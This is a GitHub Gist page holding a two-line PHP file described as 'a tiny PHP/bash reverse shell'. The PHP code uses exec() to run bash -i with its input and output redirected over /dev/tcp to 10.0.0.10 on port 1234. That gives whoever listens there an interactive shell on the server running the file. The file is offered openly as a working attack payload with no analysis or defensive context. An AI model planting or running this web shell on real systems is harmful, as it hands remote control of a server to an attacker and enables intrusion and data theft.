Skip to content

Instantly share code, notes, and snippets.

@ikuamike
Forked from rshipp/shell.php
Created January 4, 2019 11:47
Show Gist options
  • Save ikuamike/090d31beb528912a7f14d88aba02c5ee to your computer and use it in GitHub Desktop.
Save ikuamike/090d31beb528912a7f14d88aba02c5ee to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment